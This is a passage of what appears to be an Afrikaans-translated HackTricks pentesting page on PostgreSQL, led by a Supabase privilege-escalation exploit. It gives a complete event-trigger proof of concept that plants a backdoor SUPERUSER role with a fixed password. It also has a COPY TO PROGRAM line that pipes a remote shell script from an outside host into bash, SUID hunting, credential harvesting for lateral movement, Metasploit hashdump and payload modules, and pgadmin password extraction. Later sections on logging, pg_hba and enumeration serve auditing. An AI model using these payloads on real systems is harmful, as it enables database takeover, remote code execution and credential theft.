Beheerde Supabase-implementasies vertrou op die supautils extension om CREATE EXTENSION toe te wikkel met provider-eienaarskap before-create.sql/after-create.sql-skripte wat uitgevoer word as ware superusers. Die postgres_fdw after-create-skrip voer kortliks ALTER ROLE postgres SUPERUSER uit, voer ALTER FOREIGN DATA WRAPPER postgres_fdw OWNER TO postgres uit, en keer dan postgres terug na NOSUPERUSER. Omdat ALTER FOREIGN DATA WRAPPER ddl_command_start/ddl_command_end event triggers afvuur terwyl current_user superuser is, kan tenant-geskepte triggers aanvaller-SQL binne daardie venster uitvoer.
Exploit flow:
- Skep ’n PL/pgSQL event trigger-funksie wat
SELECT usesuper FROM pg_user WHERE usename = current_usernagaan en, wanneer dit waar is, ’n backdoor-rol voorsien (bv.,CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD 'temp123'). - Registreer die funksie op beide
ddl_command_startenddl_command_end. - Voer
DROP EXTENSION IF EXISTS postgres_fdw CASCADE;gevolg deurCREATE EXTENSION postgres_fdw;uit om Supabase se after-create hook weer te laat loop. - Wanneer die hook
postgresverhef, voer die trigger uit, skep die volhoubare SUPERUSER-rol, en verleen dit terug aanpostgresvir maklikeSET ROLE-toegang.
Event trigger PoC vir die postgres_fdw after-create window
```sql CREATE OR REPLACE FUNCTION escalate_priv() RETURNS event_trigger AS $$ DECLARE is_super BOOLEAN; BEGIN SELECT usesuper INTO is_super FROM pg_user WHERE usename = current_user; IF is_super THEN BEGIN EXECUTE 'CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD ''temp123'''; EXCEPTION WHEN duplicate_object THEN NULL; END; BEGIN EXECUTE 'GRANT priv_esc TO postgres'; EXCEPTION WHEN OTHERS THEN NULL; END; END IF; END; $$ LANGUAGE plpgsql;DROP EVENT TRIGGER IF EXISTS log_start CASCADE; DROP EVENT TRIGGER IF EXISTS log_end CASCADE; CREATE EVENT TRIGGER log_start ON ddl_command_start EXECUTE FUNCTION escalate_priv(); CREATE EVENT TRIGGER log_end ON ddl_command_end EXECUTE FUNCTION escalate_priv();
DROP EXTENSION IF EXISTS postgres_fdw CASCADE; CREATE EXTENSION postgres_fdw;
</details>
Supabase’s poging om skip unsafe triggers te omseil kontroleer slegs ownership, dus maak seker dat die trigger function owner jou low-privileged role is, maar die payload word slegs uitgevoer wanneer die hook `current_user` in SUPERUSER omskakel. Omdat die trigger weer loop op toekomstige DDL, dien dit ook as 'n self-healing persistence backdoor wanneer die provider kortliks tenant roles verhoog.
### Omskep tydelike SUPERUSER toegang in host compromise
Nadat `SET ROLE priv_esc;` slaag, herhaal die vroeër geblokkeerde primitives:
```sql
INSERT INTO public.ai_models(model_name, config)
VALUES ('hostname', to_jsonb(pg_read_file('/etc/hostname', 0, 100)));
COPY (SELECT '') TO PROGRAM 'curl https://rce.ee/rev.sh | bash';
pg_read_file/COPY ... TO PROGRAM bied nou arbitraire lêertoegang en opdraguitvoering as die database OS account. Volg op met standaard host privilege escalation:
find / -perm -4000 -type f 2>/dev/null
Deur ’n verkeerd gekonfigureerde SUID-binary of ’n skryfbare config uit te buit, kry jy root. Sodra jy root het, oes orchestration credentials (systemd unit env files, /etc/supabase, kubeconfigs, agent tokens) om lateraal binne die provider se region te pivot.
POST
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
logboekregistrasie
In die postgresql.conf lêer kan jy postgresql logs aktiveer deur die volgende te verander:
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
Dan, herbegin die diens.
pgadmin
pgadmin is ’n administrasie- en ontwikkelingsplatform vir PostgreSQL.
Jy kan wachtwoorde in die pgadmin4.db lêer vind
Jy kan hulle dekripteer deur die decrypt funksie binne die skrip te gebruik: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
pg_hba
Kliëntverifikasie in PostgreSQL word bestuur deur ’n konfigurasielêer genaamd pg_hba.conf. Hierdie lêer bevat ’n reeks rekords, elk wat ’n verbindingstipe, kliënt-IP-adresreeks (indien toepaslik), databasisnaam, gebruikersnaam, en die verifiëringsmetode spesifiseer wat gebruik word om verbindinge te pas. Die eerste rekord wat pas by die verbindingstipe, kliëntadres, aangevraagde databasis, en gebruikersnaam word vir verifikasie gebruik. Daar is geen alternatiewe of rugsteun as verifikasie misluk nie. As geen rekord pas nie, word toegang geweier.
Die beskikbare wagwoordgebaseerde verifiëringsmetodes in pg_hba.conf is md5, crypt, en password. Hierdie metodes verskil in hoe die wagwoord oorgedra word: MD5-gehash, crypt-geënkripteer, of clear-text. Dit is belangrik om daarop te let dat die crypt-metode nie gebruik kan word met wagwoorde wat in pg_authid geënkripteer is nie.
Local Linux enumeration
With shell access, PostgreSQL gaan dikwels oor auth policy, socket access, en credential artifacts eerder as rou TCP-blootstelling.
Belangrike paadjies en lêers:
find /etc/postgresql -maxdepth 4 -type f \( -name "postgresql.conf" -o -name "pg_hba.conf" \) 2>/dev/null
ls -l /var/run/postgresql/.s.PGSQL.5432 ~/.pgpass 2>/dev/null
Belangrike instellings en betekenisse:
listen_addressesbeheer aan watter koppelvlakke PostgreSQL koppel ('*'beteken almal)peerkoppel die plaaslike OS user aan ’n DB-rol op UNIX-sokettetrustlaat wagwoordlose toegang toe vir ooreenstemmende reëls
Vinnige kontrole:
rg -n "^(host|local)|trust|peer|md5|scram|password|ssl" /etc/postgresql 2>/dev/null
sudo -u postgres psql -c 'SHOW hba_file; SHOW config_file;' 2>/dev/null
sudo -u postgres psql -c '\du' 2>/dev/null
Waar om na te kyk:
trustinskrywings buite ’n lab/dev-konteks- permissiewe
peer-karterings wat OS-toegang in DB-admin omskakel - swak regte op
~/.pgpass - rolle met
SUPERUSER,CREATEDB,REPLICATION, ofBYPASSRLS
Verwysings
- SupaPwn: Hacking Our Way into Lovable’s Office and Helping Secure Supabase
- HTB: DarkCorp by 0xdf
- PayloadsAllTheThings: PostgreSQL Injection - Using COPY TO/FROM PROGRAM
- Postgres SQL injection to RCE with archive_command (The Gray Area)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


